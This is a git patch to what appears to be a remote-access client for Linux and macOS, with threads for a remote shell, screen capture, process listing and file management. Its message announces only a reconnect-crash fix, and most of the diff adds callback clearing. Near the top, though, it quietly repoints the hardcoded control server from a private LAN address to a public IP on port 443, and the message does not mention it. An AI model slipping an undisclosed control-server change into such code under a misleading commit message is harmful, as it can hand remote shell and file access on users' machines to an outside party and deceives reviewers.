From 12e2a3306230f9886352e9281199509a8216600b Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 3 May 2026 13:16:02 +0200 Subject: [PATCH] Fix: Prevent reconnect crash by clearing callback before destruction --- linux/main.cpp | 10 +++++++++- macos/main.mm | 6 ++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/linux/main.cpp b/linux/main.cpp index b346d68..3775fd9 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -37,7 +37,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); // 远程地址:当前为写死状态,如需调试,请按实际情况修改 -CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX }; +CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX }; // 全局状态 State g_bExit = S_CLIENT_NORMAL; @@ -354,6 +354,8 @@ void* ShellworkingThread(void* param) Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); + // 清除回调,防止重连线程访问已销毁的 handler + ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr); } catch (const std::exception& e) { @@ -376,6 +378,8 @@ void* ScreenworkingThread(void* param) Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); + // 清除回调,防止重连线程访问已销毁的 handler + ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr); } catch (const std::exception& e) { @@ -396,6 +400,8 @@ void* SystemManagerThread(void* param) Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); + // 清除回调,防止重连线程访问已销毁的 handler + ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } Mprintf(">>> Leave SystemManagerThread [%p]\n", clientAddr); } catch (const std::exception& e) { @@ -416,6 +422,8 @@ void* FileManagerThread(void* param) Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); + // 清除回调,防止重连线程访问已销毁的 handler + ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } Mprintf(">>> Leave FileManagerThread [%p]\n", clientAddr); } catch (const std::exception& e) { diff --git a/macos/main.mm b/macos/main.mm index 57302fd..fe0e9ba 100644 --- a/macos/main.mm +++ b/macos/main.mm @@ -633,6 +633,8 @@ void* ShellworkingThread(void* param) NSLog(@">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); + // 清除回调,防止重连线程访问已销毁的 handler + ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } NSLog(@">>> Leave ShellworkingThread [%p]", clientAddr); } catch (const std::exception& e) { @@ -659,6 +661,8 @@ void* ScreenworkingThread(void* param) Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); + // 清除回调,防止重连线程访问已销毁的 handler + ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr); } catch (const std::exception& e) { @@ -679,6 +683,8 @@ void* FileManagerworkingThread(void* param) Mprintf(">>> FileManagerworkingThread [%p] initialized\n", clientAddr); while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) Sleep(1000); + // 清除回调,防止重连线程访问已销毁的 handler + ClientObject->setManagerCallBack(nullptr, nullptr, nullptr); } Mprintf(">>> Leave FileManagerworkingThread [%p]\n", clientAddr); } catch (const std::exception& e) {